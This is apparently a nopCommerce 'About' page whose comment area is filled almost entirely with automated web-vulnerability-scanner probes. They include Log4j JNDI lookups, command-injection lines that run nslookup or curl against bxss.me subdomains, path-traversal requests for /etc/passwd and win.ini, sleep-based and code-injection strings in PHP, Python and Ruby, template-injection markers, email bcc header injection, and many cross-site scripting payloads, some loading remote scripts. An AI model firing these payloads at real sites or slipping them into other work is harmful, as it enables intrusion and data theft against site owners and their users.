About nopCommerce

This is a sample comment...

555

197GIMP630

555

${j${::-n}di:dns${::-:}${::-/}${::-/}hitpnpahczsvd32f8c${::-.}bxss.me}zzzz${url:UTF-8:http://hittjvdkqzxkh.bxss.me/}

%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hiteqjyfrzxwz21454${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}${::-/}dns.log4j.009365.130641-9257.130641.4539e${::-.}1${::-.}bxss.me}}

555

555

response.write(9358843*9355617)

'+response.write(9358843*9355617)+'

"+response.write(9358843*9355617)+"

<% response.write(9358843*9355617) %>

+response.write(9358843*9355617)'

555

555

555

555

555

555'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=009365&r=130641-9261&h=130641-4539e-2&"></script>

555

555

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

echo tiridt$()\ cxmdcf\nz^xyu||a #' &echo tiridt$()\ cxmdcf\nz^xyu||a #|" &echo tiridt$()\ cxmdcf\nz^xyu||a #

&echo cvjxan$()\ txaksw\nz^xyu||a #' &echo cvjxan$()\ txaksw\nz^xyu||a #|" &echo cvjxan$()\ txaksw\nz^xyu||a #

555&echo jafdao$()\ bluopy\nz^xyu||a #' &echo jafdao$()\ bluopy\nz^xyu||a #|" &echo jafdao$()\ bluopy\nz^xyu||a #

|echo tyszne$()\ laelit\nz^xyu||a #' |echo tyszne$()\ laelit\nz^xyu||a #|" |echo tyszne$()\ laelit\nz^xyu||a #

555|echo msdfic$()\ ikqmoz\nz^xyu||a #' |echo msdfic$()\ ikqmoz\nz^xyu||a #|" |echo msdfic$()\ ikqmoz\nz^xyu||a #

(nslookup -q=cname hitjhwuiekhjscd11a.bxss.me||curl hitjhwuiekhjscd11a.bxss.me))

$(nslookup -q=cname hiteyzuvchkgk2fe53.bxss.me||curl hiteyzuvchkgk2fe53.bxss.me)

&nslookup -q=cname hitlidhkvlwhra0c65.bxss.me&'\"`0&nslookup -q=cname hitlidhkvlwhra0c65.bxss.me&`'

&(nslookup -q=cname hitgejnwecbxi531de.bxss.me||curl hitgejnwecbxi531de.bxss.me)&'\"`0&(nslookup -q=cname hitgejnwecbxi531de.bxss.me||curl hitgejnwecbxi531de.bxss.me)&`'

|(nslookup -q=cname hitddyjoccqbnef6be.bxss.me||curl hitddyjoccqbnef6be.bxss.me)

`(nslookup -q=cname hitwabvkxlfrx45f20.bxss.me||curl hitwabvkxlfrx45f20.bxss.me)`

;(nslookup -q=cname hitwaqvrflxfl12618.bxss.me||curl hitwaqvrflxfl12618.bxss.me)|(nslookup -q=cname hitwaqvrflxfl12618.bxss.me||curl hitwaqvrflxfl12618.bxss.me)&(nslookup -q=cname hitwaqvrflxfl12618.bxss.me||curl hitwaqvrflxfl12618.bxss.me)

|(nslookup${IFS}-q${IFS}cname${IFS}hittzyioqcfycc960f.bxss.me||curl${IFS}hittzyioqcfycc960f.bxss.me)

&(nslookup${IFS}-q${IFS}cname${IFS}hitkeieejhkwp4c987.bxss.me||curl${IFS}hitkeieejhkwp4c987.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitkeieejhkwp4c987.bxss.me||curl${IFS}hitkeieejhkwp4c987.bxss.me)&`'

555

555

555

555

555

555

555

555

555

555

555

555

555

555

c1yi2JQ4

t8hvCG9B: cwc6k8Z2

555

555

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

555

../555

555

555

555

555

555

555

555

555
bcc:009365.130641-9265.130641.4539e.20242.2@bxss.me

to@example.com>
bcc:009365.130641-9266.130641.4539e.20242.2@bxss.me

555

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

${9999061+9999512}

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

/etc/shells

../../../../../../../../../../../../../../etc/shells

c:/windows/win.ini

bxss.me

555

555

555

555

555

555

555

555&n947429=v921829

555

555

)

!(()&&!|*|*|

^(#$!@#$)(()))******

555

555

555

555

'"()

555'&&sleep(27*1000)*hkgasd&&'

555"&&sleep(27*1000)*wavkuz&&"

555'||sleep(27*1000)*xbcpul||'

555"||sleep(27*1000)*cvogbh||"

555

555

555

555

555

555

555

555

555

555

555

555

555

'.gethostbyname(lc('hitwj'.'jngqiway83ebe.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(70).chr(118).chr(84).'

".gethostbyname(lc("hitcj"."hszysafgd02ca.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(80).chr(115).chr(67)."

gethostbyname(lc('hitvv'.'bdrlqsvj472fa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(88).chr(110).chr(80)

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

555

555

555

555

555

555

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitwojjppyqjt15398.'+'bxss.me')

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitwojjppyqjt15398."+"bxss.me")+'

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitwojjppyqjt15398.'+'bxss.me')+"

555

555

555

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

555

555

"+"A".concat(70-3).concat(22*4).concat(99).concat(78).concat(119).concat(82)+(require"socket"
Socket.gethostbyname("hitet"+"hepdaumd3bea4.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(121).concat(88).concat(118).concat(72)+(require'socket'
Socket.gethostbyname('hitki'+'brfrnmfe60795.bxss.me.')[3].to_s)+'

'A'.concat(70-3).concat(22*4).concat(105).concat(66).concat(100).concat(90)+(require'socket'
Socket.gethostbyname('hitmj'+'gdallfui5ce12.bxss.me.')[3].to_s)

555

555

555

about-nopcommerce

about-nopcommerce/.

555

555

http://hitgyfstjtidw.bxss.me/

'"></style></textarea></iframe></script><iframe src="https://hitrujkmhgwaz.bxss.me"></iframe><link rel=attachment href="https://hitrujkmhgwaz.bxss.me">

hitgyfstjtidw.bxss.me

555

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

https://karikatur.bcekmece.bel.tr/

karikatur.bcekmece.bel.tr

555

555

'"

<!--

555

555

555'"()&%<zzz><ScRiPt >UKsv(9964)</ScRiPt>

'"()&%<zzz><ScRiPt >UKsv(9015)</ScRiPt>

5559226713

bfg9812＜s1﹥s2ʺs3ʹhjl9812

bfgx7941%C0%BEz1%C0%BCz2a%90bcxhjl7941

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >UKsv(9676)</ScRiPt>

555<WUJQLK>QICEK[!+!]</WUJQLK>

555<script>UKsv(9199)</script>

555<script>UKsv(9107)</script>9107

555<ScR<ScRiPt>IpT>UKsv(9858)</sCr<ScRiPt>IpT>

555<ScRiPt
>UKsv(9868)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9539></ScRiPt>

555<isindex type=image src=1 onerror=UKsv(9043)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9565'>

555<body onload=UKsv(9443)>

555<img src=//xss.bxss.me/t/dot.gif onload=UKsv(9818)>

555<img src=xyz OnErRor=UKsv(9466)>

555<img/src=">" onerror=alert(9256)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%55%4B%73%76%289893%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\UKsv(9688)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;UKsv(9333)&lt;/sCripT&gt;

%F6<img zzz onmouseover=UKsv(94761) //%F6>

555<input autofocus onfocus=UKsv(9905)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(UKsv(9657))}

5554VB6A
<ScRiPt >UKsv(9406)</ScRiPt>

555<WKNDPR>JRPOM[!+!]</WKNDPR>

555<ifRAme sRc=9880.com></IfRamE>

555<aoYEa7C x=9615>

555<img sRc='http://attacker-9094/log.php?

555<a44mq0U<

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

${j${::-n}di:dns${::-:}${::-/}${::-/}hitlsycmosqik6f474${::-.}bxss.me}zzzz${url:UTF-8:http://hitiqdreugcrs.bxss.me/}

%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hithatudgorcr415eb${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}${::-/}dns.log4j.009365.130641-9602.130641.4539e${::-.}1${::-.}bxss.me}}

response.write(9652535*9260648)

'+response.write(9652535*9260648)+'

"+response.write(9652535*9260648)+"

<% response.write(9652535*9260648) %>

+response.write(9652535*9260648)'

'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=009365&r=130641-9691&h=130641-4539e-2&"></script>

echo oiyfyv$()\ jqhqhd\nz^xyu||a #' &echo oiyfyv$()\ jqhqhd\nz^xyu||a #|" &echo oiyfyv$()\ jqhqhd\nz^xyu||a #

&echo kogaxi$()\ pniicx\nz^xyu||a #' &echo kogaxi$()\ pniicx\nz^xyu||a #|" &echo kogaxi$()\ pniicx\nz^xyu||a #

|echo apakex$()\ ryqjfh\nz^xyu||a #' |echo apakex$()\ ryqjfh\nz^xyu||a #|" |echo apakex$()\ ryqjfh\nz^xyu||a #

(nslookup -q=cname hitoqetsnmancf0c68.bxss.me||curl hitoqetsnmancf0c68.bxss.me))

/../../../../../../../../../../windows/system32/BITSADMIN.exe

$(nslookup -q=cname hitckrpebbsadc6e4c.bxss.me||curl hitckrpebbsadc6e4c.bxss.me)

lP2sOMEA

&nslookup -q=cname hitpvftmkdxpt0932c.bxss.me&'\"`0&nslookup -q=cname hitpvftmkdxpt0932c.bxss.me&`'

JaphDP1N: 4fs63hlP

&(nslookup -q=cname hityzlezbnuxu13a4a.bxss.me||curl hityzlezbnuxu13a4a.bxss.me)&'\"`0&(nslookup -q=cname hityzlezbnuxu13a4a.bxss.me||curl hityzlezbnuxu13a4a.bxss.me)&`'

|(nslookup -q=cname hitxewrnupxmg10aa6.bxss.me||curl hitxewrnupxmg10aa6.bxss.me)

`(nslookup -q=cname hitltmqhakzyy9fd87.bxss.me||curl hitltmqhakzyy9fd87.bxss.me)`

;(nslookup -q=cname hitkbappwxokf0ab0a.bxss.me||curl hitkbappwxokf0ab0a.bxss.me)|(nslookup -q=cname hitkbappwxokf0ab0a.bxss.me||curl hitkbappwxokf0ab0a.bxss.me)&(nslookup -q=cname hitkbappwxokf0ab0a.bxss.me||curl hitkbappwxokf0ab0a.bxss.me)

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

|(nslookup${IFS}-q${IFS}cname${IFS}hithaxhscvddd2df0d.bxss.me||curl${IFS}hithaxhscvddd2df0d.bxss.me)

&(nslookup${IFS}-q${IFS}cname${IFS}hitjggzegmayq8fd75.bxss.me||curl${IFS}hitjggzegmayq8fd75.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjggzegmayq8fd75.bxss.me||curl${IFS}hitjggzegmayq8fd75.bxss.me)&`'

../

./

bcc:009365.130641-9695.130641.4539e.20242.2@bxss.me

to@example.com>
bcc:009365.130641-9696.130641.4539e.20242.2@bxss.me

<esi:include src="http://bxss.me/rpb.png"/>

${10000235+9999563}

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

/etc/shells

../../../../../../../../../../../../../../etc/shells

c:/windows/win.ini

bxss.me

&n968815=v969786

)

!(()&&!|*|*|

^(#$!@#$)(()))******

'.gethostbyname(lc('hitif'.'ggrkdtcu3a1fd.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(67).chr(119).chr(90).'

".gethostbyname(lc("hitcv"."artdwbsk44b1c.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(69).chr(97).chr(86)."

'"()

'&&sleep(27*1000)*zklepo&&'

gethostbyname(lc('hitsf'.'tqekujqdfbb17.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(70).chr(122).chr(67)

"&&sleep(27*1000)*qrqgzy&&"

'||sleep(27*1000)*tugjmt||'

"||sleep(27*1000)*mcsgan||"

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

ctime
sleep
p0
(I30
tp1
Rp2
.

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitxtgmptamloef1c9.'+'bxss.me')

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitxtgmptamloef1c9."+"bxss.me")+'

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitxtgmptamloef1c9.'+'bxss.me')+"

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(112).concat(70).concat(107).concat(67)+(require"socket"
Socket.gethostbyname("hitwu"+"evbsynomcd8da.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(120).concat(75).concat(103).concat(72)+(require'socket'
Socket.gethostbyname('hityq'+'kczpzxzg86eb6.bxss.me.')[3].to_s)+'

'A'.concat(70-3).concat(22*4).concat(113).concat(69).concat(107).concat(69)+(require'socket'
Socket.gethostbyname('hitsa'+'addhawty32b18.bxss.me.')[3].to_s)

about-nopcommerce

about-nopcommerce/.

http://hitaxdgutoluc.bxss.me/

hitaxdgutoluc.bxss.me

'"></style></textarea></iframe></script><iframe src="https://hitjvhbywlrve.bxss.me"></iframe><link rel=attachment href="https://hitjvhbywlrve.bxss.me">

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

https://karikatur.bcekmece.bel.tr/

karikatur.bcekmece.bel.tr

'"

<!--

'"()&%<zzz><ScRiPt >L8BY(9617)</ScRiPt>

'"()&%<zzz><ScRiPt >L8BY(9595)</ScRiPt>

9728492

bfg8664＜s1﹥s2ʺs3ʹhjl8664

bfgx9310%C0%BEz1%C0%BCz2a%90bcxhjl9310

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

<ScRiPt >L8BY(9908)</ScRiPt>

<WRBFTU>QZJ2D[!+!]</WRBFTU>

<script>L8BY(9910)</script>

<script>L8BY(9425)</script>9425

<ScR<ScRiPt>IpT>L8BY(9515)</sCr<ScRiPt>IpT>

<ScRiPt
>L8BY(9046)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9988></ScRiPt>

<isindex type=image src=1 onerror=L8BY(9713)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9618'>

<body onload=L8BY(9489)>

<img src=//xss.bxss.me/t/dot.gif onload=L8BY(9615)>

<img src=xyz OnErRor=L8BY(9222)>

<img/src=">" onerror=alert(9187)>

%0D%0A%3C%53%63%52%69%50%74%20%3E%4C%38%42%59%289447%29%3C%2F%73%43%72%69%70%54%3E

\u003CScRiPt\L8BY(9514)\u003C/sCripT\u003E

&lt;ScRiPt&gt;L8BY(9600)&lt;/sCripT&gt;

%F6<img zzz onmouseover=L8BY(99201) //%F6>

<input autofocus onfocus=L8BY(9138)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

}body{zzz:Expre/**/SSion(L8BY(9258))}

EFv4v
<ScRiPt >L8BY(9076)</ScRiPt>

<WKBUKZ>MYJ7V[!+!]</WKBUKZ>

<ifRAme sRc=9671.com></IfRamE>

<aUpHWpn x=9855>

<img sRc='http://attacker-9622/log.php?

<auLLkZQ<

555'"()&%<zzz><ScRiPt >sEM2(9681)</ScRiPt>

'"()&%<zzz><ScRiPt >sEM2(9473)</ScRiPt>

5559862652

bfg6478＜s1﹥s2ʺs3ʹhjl6478

bfgx4543%C0%BEz1%C0%BCz2a%90bcxhjl4543

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >sEM2(9934)</ScRiPt>

555<WN3NUX>GLUJM[!+!]</WN3NUX>

555<script>sEM2(9831)</script>

555<script>sEM2(9387)</script>9387

555<ScR<ScRiPt>IpT>sEM2(9683)</sCr<ScRiPt>IpT>

555<ScRiPt
>sEM2(9462)</ScRiPt>

555

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9015></ScRiPt>

555<isindex type=image src=1 onerror=sEM2(9209)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9451'>

555<body onload=sEM2(9600)>

555<img src=//xss.bxss.me/t/dot.gif onload=sEM2(9760)>

555<img src=xyz OnErRor=sEM2(9936)>

555<img/src=">" onerror=alert(9812)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%73%45%4D%32%289477%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\sEM2(9594)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;sEM2(9973)&lt;/sCripT&gt;

%F6<img zzz onmouseover=sEM2(90421) //%F6>

555<input autofocus onfocus=sEM2(9688)>

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555}body{zzz:Expre/**/SSion(sEM2(9495))}

5552lq6g
<ScRiPt >sEM2(9212)</ScRiPt>

555<WYN1ZW>BTJIL[!+!]</WYN1ZW>

555<ifRAme sRc=9696.com></IfRamE>

555<at7PSDL x=9587>

555<img sRc='http://attacker-9427/log.php?

555<arpXFht<

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555'"()&%<zzz><ScRiPt >zyzc(9761)</ScRiPt>

555

'"()&%<zzz><ScRiPt >zyzc(9270)</ScRiPt>

555

5559618983

555

555

555

555

555

555

555

${j${::-n}di:dns${::-:}${::-/}${::-/}hitpkovnopiep28a0b${::-.}bxss.me}zzzz${url:UTF-8:http://hitnwtaxjdqax.bxss.me/}

%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitvayljqacoa121b2${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}${::-/}dns.log4j.009365.130641-9873.130641.4539e${::-.}1${::-.}bxss.me}}

555

555

response.write(9884440*9322741)

'+response.write(9884440*9322741)+'

"+response.write(9884440*9322741)+"

<% response.write(9884440*9322741) %>

+response.write(9884440*9322741)'

555

555

555

555

555

555'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=009365&r=130641-9876&h=130641-4539e-2&"></script>

555

555

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

echo pqueus$()\ yrhczk\nz^xyu||a #' &echo pqueus$()\ yrhczk\nz^xyu||a #|" &echo pqueus$()\ yrhczk\nz^xyu||a #

&echo keonxq$()\ aemwjc\nz^xyu||a #' &echo keonxq$()\ aemwjc\nz^xyu||a #|" &echo keonxq$()\ aemwjc\nz^xyu||a #

555&echo sackjw$()\ zwaiea\nz^xyu||a #' &echo sackjw$()\ zwaiea\nz^xyu||a #|" &echo sackjw$()\ zwaiea\nz^xyu||a #

|echo odepmg$()\ udwxyu\nz^xyu||a #' |echo odepmg$()\ udwxyu\nz^xyu||a #|" |echo odepmg$()\ udwxyu\nz^xyu||a #

555|echo hfiabf$()\ uomcog\nz^xyu||a #' |echo hfiabf$()\ uomcog\nz^xyu||a #|" |echo hfiabf$()\ uomcog\nz^xyu||a #

(nslookup -q=cname hitfzzotdrxnn332b5.bxss.me||curl hitfzzotdrxnn332b5.bxss.me))

$(nslookup -q=cname hitxlclcnlqytc719b.bxss.me||curl hitxlclcnlqytc719b.bxss.me)

&nslookup -q=cname hitliwwgjxtrx57271.bxss.me&'\"`0&nslookup -q=cname hitliwwgjxtrx57271.bxss.me&`'

&(nslookup -q=cname hitocsiundjft6d96f.bxss.me||curl hitocsiundjft6d96f.bxss.me)&'\"`0&(nslookup -q=cname hitocsiundjft6d96f.bxss.me||curl hitocsiundjft6d96f.bxss.me)&`'

|(nslookup -q=cname hitcbgnlndxand3ab8.bxss.me||curl hitcbgnlndxand3ab8.bxss.me)

`(nslookup -q=cname hitkdqljohqom05a9e.bxss.me||curl hitkdqljohqom05a9e.bxss.me)`

;(nslookup -q=cname hitbxqavtcpiqbe329.bxss.me||curl hitbxqavtcpiqbe329.bxss.me)|(nslookup -q=cname hitbxqavtcpiqbe329.bxss.me||curl hitbxqavtcpiqbe329.bxss.me)&(nslookup -q=cname hitbxqavtcpiqbe329.bxss.me||curl hitbxqavtcpiqbe329.bxss.me)

|(nslookup${IFS}-q${IFS}cname${IFS}hitisppagpnee39730.bxss.me||curl${IFS}hitisppagpnee39730.bxss.me)

&(nslookup${IFS}-q${IFS}cname${IFS}hitbjjqwhkhwccd48e.bxss.me||curl${IFS}hitbjjqwhkhwccd48e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitbjjqwhkhwccd48e.bxss.me||curl${IFS}hitbjjqwhkhwccd48e.bxss.me)&`'

555

555

555

555

555

555

555

555

555

555

555

555

555

555

g1BannWs

SxpeAKq2: Vik51vmk

555

555

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

555

../555

555

555

555

555

555

555

555
bcc:009365.130641-9879.130641.4539e.20242.2@bxss.me

to@example.com>
bcc:009365.130641-9880.130641.4539e.20242.2@bxss.me

555

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

${9999221+9999395}

555

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

/etc/shells

../../../../../../../../../../../../../../etc/shells

c:/windows/win.ini

bxss.me

555

555

555

555

555

555

555

555&n907521=v902898

555

555

)

!(()&&!|*|*|

^(#$!@#$)(()))******

555

555

555

555

'"()

555'&&sleep(27*1000)*ghmviw&&'

555"&&sleep(27*1000)*civsku&&"

555'||sleep(27*1000)*quubug||'

555"||sleep(27*1000)*blumns||"

555

555

555

555

555

555

555

555

555

555

555

555

555

'.gethostbyname(lc('hitwb'.'oxrfcsqm2d807.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(80).chr(118).chr(82).'

".gethostbyname(lc("hitru"."htzsrywlb86ca.bxss.me."))."A".chr(67).chr(hex("58")).chr(97).chr(77).chr(106).chr(82)."

gethostbyname(lc('hituh'.'fmketpfm80125.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(71).chr(109).chr(76)

555

555

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

555

555

555

555

555

555

str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitvxjnqjjoqv8c0c2.'+'bxss.me')

'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitvxjnqjjoqv8c0c2."+"bxss.me")+'

"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitvxjnqjjoqv8c0c2.'+'bxss.me')+"

555

555

555

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

555

555

"+"A".concat(70-3).concat(22*4).concat(121).concat(70).concat(103).concat(69)+(require"socket"
Socket.gethostbyname("hitai"+"ofoglxxx02555.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(103).concat(86).concat(99).concat(65)+(require'socket'
Socket.gethostbyname('hitvg'+'hozrklbwfac26.bxss.me.')[3].to_s)+'

'A'.concat(70-3).concat(22*4).concat(117).concat(72).concat(102).concat(72)+(require'socket'
Socket.gethostbyname('hittq'+'qgofqegr66d08.bxss.me.')[3].to_s)

555

555

555

about-nopcommerce

about-nopcommerce/.

555

555

http://hitqizvupegmd.bxss.me/

hitqizvupegmd.bxss.me

555

555

'"></style></textarea></iframe></script><iframe src="https://hityuqdusiyhx.bxss.me"></iframe><link rel=attachment href="https://hityuqdusiyhx.bxss.me">

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

https://karikatur.bcekmece.bel.tr/

karikatur.bcekmece.bel.tr

555

555

'"

<!--

555

555

555'"()&%<zzz><ScRiPt >OEXe(9219)</ScRiPt>

'"()&%<zzz><ScRiPt >OEXe(9073)</ScRiPt>

5559911580

bfg7749＜s1﹥s2ʺs3ʹhjl7749

bfgx4471%C0%BEz1%C0%BCz2a%90bcxhjl4471

<%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >OEXe(9159)</ScRiPt>

555<WR1NE9>PCYY7[!+!]</WR1NE9>

555<script>OEXe(9768)</script>

555<script>OEXe(9482)</script>9482

555<ScR<ScRiPt>IpT>OEXe(9704)</sCr<ScRiPt>IpT>

555<ScRiPt
>OEXe(9808)</ScRiPt>